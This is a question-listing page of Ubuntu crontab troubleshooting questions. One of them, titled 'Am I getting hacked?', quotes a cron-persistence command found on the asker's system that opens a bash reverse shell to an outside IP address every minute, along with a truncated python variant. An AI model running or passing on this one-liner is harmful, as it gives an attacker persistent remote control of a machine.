Skip to main content

All Questions

Tagged with
-1 votes
0 answers
11 views

Crontab to run on specific dates in specific months

I'm using crontab via DigitalOcean to run scheduled crons and I've got a number set up and working correctly. However, I'm in need of running one with the following schedule: 8am on 1st, 7th, 10th ...
Jo H's user avatar
  • 1,084
0 votes
0 answers
25 views

Unable to start R script from crontab - Ubuntu 22.04.4 LTS

I tried to start R script from crontab on ubuntu 22.04.4 LTS but script didnt start my code (edited by nano crontab -e) gives 50 9 * * * Rscript 1.r crontab edited without nano crontab -e gives no ...
Jan Jankowski Janek's user avatar
0 votes
0 answers
30 views

Running Python Script through Crontab doesn't work

So I have written a script to summarize a few newsletters and send them to me in Telegram. The script itself works perfectly. Now I tried to run this script every morning at 7 via crontab on a Ubunutu ...
Kai's user avatar
  • 19
0 votes
1 answer
25 views

Switch user before running cmd ubuntu [duplicate]

I'm trying to run a cron job in ubuntu server to backup my database every day. so Im using this cmd: sudo -i -u postgres && pg_dump -Fc DbName > DbName_backup.dump && ... && ...
SinaMN75's user avatar
  • 7,275
0 votes
0 answers
26 views

Crontab created by www-data user not working

I have a python that creates a cron job in order to call another python script, but it's not working properly. In the first python I have: from crontab import CronTab cron = CronTab(user=True) job = ...
Rafael Cruz's user avatar
1 vote
0 answers
49 views

Python & Django web app - auto emails not sending - troubleshooting Cron

I have a webapp running on an ubunti vps. Cron is scheduled to run a task evry sunday morning, however, I found it ran once and not again the next week. I have been reading about cron and how to ...
Tom's user avatar
  • 13
0 votes
0 answers
55 views

Crontab Opens Headless Terminal When Starting A Minecraft Server

I'm using crontab on Ubuntu 22.04.3 LTS to run a Minecraft server at 7 am everyday,the problem is that crontab runs the command to run the Minecraft server but without opening a visible terminal. If ...
PokePuff05's user avatar
0 votes
0 answers
52 views

Selenium server couldn't be started - Running Rscript

I'm using Ubuntu 20.04 to run Rstudio Server. I installed Selenium and all the others drivers to run the RSelenium package in the Rstudio-Server. It worked very well. Now i'm trying to run the Rscript ...
fe_esalq_agro's user avatar
1 vote
0 answers
25 views

Cannot find module './index.ts' ts-node when launching two scripts simultaniously

I have two scripts that I both launch on my VPS with a .sh script that runs ts-node if the js script is not running: #!/bin/sh PROCESS_NAME_REGEX="process_name" TS_NODE_EXECUTABLE="./...
Dmitry Larin's user avatar
0 votes
0 answers
253 views

Optimal script to copy a Letsencrypt certificate everytime it renews to another directory on Ubuntu server

My letsencrypt certificate renews every 60 days or so and when it does my application crashes which is stored on same server in opt directory I would like to create a cronjob and/or script which ...
DevOps_N_Training's user avatar
-1 votes
1 answer
116 views

Why does my monthly command in my cron file does not work while daily commands do work?

I am managing a system built by third parts on a Ubuntu OS. There is a line in a cron file which - every first day of the month at hour 07:00 - should trigger a bash script which calls an ansible ...
Tms91's user avatar
  • 3,921
0 votes
1 answer
131 views

Am I getting hacked? What does these commands do? [closed]

Consider: crontab -l | { cat; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/80.78.26.82/443 0>&1'"; } | crontab - crontab -l | { cat; echo "* * * * * python -c 'import ...
Mikas's user avatar
  • 19
1 vote
3 answers
5k views

Create a cron job inside a Docker container to execute a function in run.js file

I have already created a docker-compose.yaml file, Dockerfile and entrypoint.sh file. Dockerfile was used to create a ubuntu container. Inside this ubuntu container, I install Node.js and clone my ...
Ke_Sandaru's user avatar
0 votes
0 answers
74 views

using ubuntu crontab for postgres 9.1.4, I want to use crontab to delete rows in a local postgres database table every 30 minutes on the same server

using ubuntu crontab for postgres 9.1.4, I want to use crontab to delete rows in a local postgres database table every 30 minutes on the same server. eg on server 10.10.10.123 I have Postres 9.1.4 ...
Tsebo Monama's user avatar
-1 votes
2 answers
79 views

Cron jobs created on ubuntu is not working as expected

I have a python file which is created on windows which is also working on ubuntu OS aswell. I have a VPS in hostinger platform where this script should run in daily basis. But triggers on the ...
Narsim Rao's user avatar

15 30 50 per page
1
2 3 4 5
55